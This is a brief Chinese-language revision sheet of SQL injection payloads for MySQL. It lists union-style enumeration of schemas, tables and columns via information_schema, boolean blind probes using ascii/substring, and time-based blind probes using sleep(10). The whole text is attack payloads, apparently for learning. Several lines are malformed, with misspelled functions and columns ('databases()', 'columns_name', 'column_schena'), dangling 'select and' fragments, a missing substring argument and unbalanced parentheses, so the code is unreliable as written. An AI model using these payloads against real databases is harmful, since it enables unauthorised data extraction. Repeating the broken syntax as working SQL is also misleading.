注入复习总结

#常规注入：
select schema_name from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
#盲注:
select and ascii(mid(databases(),1,1))=115;
select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));
select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));
#延时盲注：
select and if(ascii(substring(database(),1,)),sleep(10),1);
select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));
select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1)
